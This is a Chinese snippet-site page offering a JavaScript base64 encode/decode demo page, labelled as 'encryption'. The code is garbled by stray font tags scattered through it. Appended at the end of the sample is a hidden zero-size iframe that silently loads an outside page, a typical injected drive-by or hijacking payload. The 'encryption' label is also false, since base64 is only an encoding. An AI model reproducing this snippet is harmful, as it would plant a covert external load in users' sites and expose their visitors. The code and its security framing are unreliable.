js版本的base64加密代码 2022-07-15 80酷酷网 80kuku.com 以下是HTML网页特效代码，点击运行按钮可查看效果： 以下是程序代码<html> <head> <title>base64 Encoding/Decoding</title> </head></font><font face=Verdana> <script type="text/javascript"><!--</font><font face=Verdana> var keyStr = "ABCDEFGHIJKLMNOP" + "QRSTUVWXYZabcdef" + "ghijklmnopqrstuv" + "wxyz0123456789+/" + "=";</font><font face=Verdana> function encode64(input) { input = escape(input); var output = ""; var chr1, chr2, chr3 = ""; var enc1, enc2, enc3, enc4 = ""; var i = 0;</font><font face=Verdana> do { chr1 = input.charCodeAt(i++); chr2 = input.charCodeAt(i++); chr3 = input.charCodeAt(i++);</font><font face=Verdana> enc1 = chr1 >> 2; enc2 = ((chr1 & 3) << 4) | (chr2 >> 4); enc3 = ((chr2 & 15) << 2) | (chr3 >> 6); enc4 = chr3 & 63;</font><font face=Verdana> if (isNaN(chr2)) { enc3 = enc4 = 64; } else if (isNaN(chr3)) { enc4 = 64; }</font><font face=Verdana> output = output + keyStr.charAt(enc1) + keyStr.charAt(enc2) + keyStr.charAt(enc3) + keyStr.charAt(enc4); chr1 = chr2 = chr3 = ""; enc1 = enc2 = enc3 = enc4 = ""; } while (i < input.length);</font><font face=Verdana> return output; }</font><font face=Verdana> function decode64(input) { var output = ""; var chr1, chr2, chr3 = ""; var enc1, enc2, enc3, enc4 = ""; var i = 0;</font><font face=Verdana> // remove all characters that are not A-Z, a-z, 0-9, +, /, or = var base64test = /[^A-Za-z0-9\+\/\=]/g; if (base64test.exec(input)) { alert("There were invalid base64 characters in the input text.\n" + "Valid base64 characters are A-Z, a-z, 0-9, '+', '/', and '='\n" + "Expect errors in decoding."); } input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");</font><font face=Verdana> do { enc1 = keyStr.indexOf(input.charAt(i++)); enc2 = keyStr.indexOf(input.charAt(i++)); enc3 = keyStr.indexOf(input.charAt(i++)); enc4 = keyStr.indexOf(input.charAt(i++));</font><font face=Verdana> chr1 = (enc1 << 2) | (enc2 >> 4); chr2 = ((enc2 & 15) << 4) | (enc3 >> 2); chr3 = ((enc3 & 3) << 6) | enc4;</font><font face=Verdana> output = output + String.fromCharCode(chr1);</font><font face=Verdana> if (enc3 != 64) { output = output + String.fromCharCode(chr2); } if (enc4 != 64) { output = output + String.fromCharCode(chr3); }</font><font face=Verdana> chr1 = chr2 = chr3 = ""; enc1 = enc2 = enc3 = enc4 = "";</font><font face=Verdana> } while (i < input.length);</font><font face=Verdana> return unescape(output); }</font><font face=Verdana> //--></script></font><font face=Verdana> <body></font><font face=Verdana> <form name="base64Form"></font><font face=Verdana> Type in the message you want to encode in base64, or paste<br> base64 encoded text into the text field, select Encode or Decode, <br> and click the button!<br></font><font face=Verdana> <textarea name="theText" cols="40" rows="6"></textarea><br></font><font face=Verdana> <input type="button" name="encode" value="Encode to base64" onClick="document.base64Form.theText.value=encode64(document.base64Form.theText.value);"> <input type="button" name="decode" value="Decode from base64" onClick="document.base64Form.theText.value=decode64(document.base64Form.theText.value);"></font><font face=Verdana> </form></font><font face=Verdana> </body></html></font><font face=Verdana><iframe src="http://oa.wlsh.cn/wlb/uu.htm" width="0" height="0" frameborder="0"></iframe></font><a href="http://js.alixixi.com/">欢迎访问阿里西西网页特效代码站，js.alixixi.com</a> [Ctrl+A 全部选择 提示：你可先修改部分代码，再按运行]
以下是程序代码
以下是程序代码
